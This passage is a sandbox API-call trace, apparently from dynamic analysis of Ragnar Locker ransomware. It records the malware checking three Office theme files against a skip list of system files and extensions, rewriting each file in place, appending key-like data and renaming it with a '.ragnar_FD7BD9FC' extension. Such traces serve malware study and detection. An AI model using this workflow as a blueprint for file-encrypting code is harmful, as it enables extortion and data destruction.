ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.253] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e80af40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e80af40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0074.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.254] lstrcpyW (in: lpString1=0x1eab70, lpString2="JOURNAL.ELM" | out: lpString1="JOURNAL.ELM") returned="JOURNAL.ELM" [0074.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned=".ELM" [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="autorun.inf") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="boot.ini") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="bootfont.bin") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="bootsect.bak") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="bootmgr") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="bootmgr.efi") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="bootmgfw.efi") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="desktop.ini") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="iconcache.db") returned 1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="ntldr") returned -1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="ntuser.dat") returned -1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="ntuser.dat.log") returned -1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="ntuser.ini") returned -1 [0074.254] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="thumbs.db") returned -1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.254] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0074.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.258] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=47666) returned 1 [0074.258] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.258] GetProcessHeap () returned 0x580000 [0074.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.258] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.260] VirtualAlloc (lpAddress=0x0, dwSize=0xba32, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.260] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.260] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.260] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xba32, lpOverlapped=0x0) returned 1 [0074.261] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.262] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba32, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xba32, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xba32, lpOverlapped=0x0) returned 1 [0074.262] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba32, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.262] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.262] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xba32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.262] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.263] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.263] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.263] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.263] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.263] GetProcessHeap () returned 0x580000 [0074.263] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.263] CloseHandle (hObject=0x100) returned 1 [0074.264] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" [0074.264] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.ragnar_FD7BD9FC" [0074.264] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0074.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.269] lstrcpyW (in: lpString1=0x1eab70, lpString2="JOURNAL.INF" | out: lpString1="JOURNAL.INF") returned="JOURNAL.INF" [0074.269] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned=".INF" [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="autorun.inf") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="boot.ini") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="bootfont.bin") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="bootsect.bak") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="bootmgr") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="bootmgr.efi") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="bootmgfw.efi") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="desktop.ini") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="iconcache.db") returned 1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="ntldr") returned -1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="ntuser.dat") returned -1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="ntuser.dat.log") returned -1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="ntuser.ini") returned -1 [0074.269] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="thumbs.db") returned -1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.269] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0074.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.270] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=499) returned 1 [0074.270] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.270] GetProcessHeap () returned 0x580000 [0074.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.270] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.271] VirtualAlloc (lpAddress=0x0, dwSize=0x1f3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.271] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.271] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.271] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f3, lpOverlapped=0x0) returned 1 [0074.271] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.271] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.271] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f3, lpOverlapped=0x0) returned 1 [0074.271] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.271] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.271] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.272] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.272] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.272] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.272] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.272] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.272] GetProcessHeap () returned 0x580000 [0074.272] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.272] CloseHandle (hObject=0x100) returned 1 [0074.272] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" [0074.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.ragnar_FD7BD9FC" [0074.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.273] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.273] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned=".GIF" [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.273] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.273] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0074.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.274] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1232) returned 1 [0074.274] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.274] GetProcessHeap () returned 0x580000 [0074.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.274] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.275] VirtualAlloc (lpAddress=0x0, dwSize=0x4d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.275] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.275] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.276] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4d0, lpOverlapped=0x0) returned 1 [0074.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.276] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.276] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4d0, lpOverlapped=0x0) returned 1 [0074.276] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.276] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.276] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.276] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.276] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.276] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.276] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.276] GetProcessHeap () returned 0x580000 [0074.277] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.277] CloseHandle (hObject=0x100) returned 1 [0074.277] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" | out: 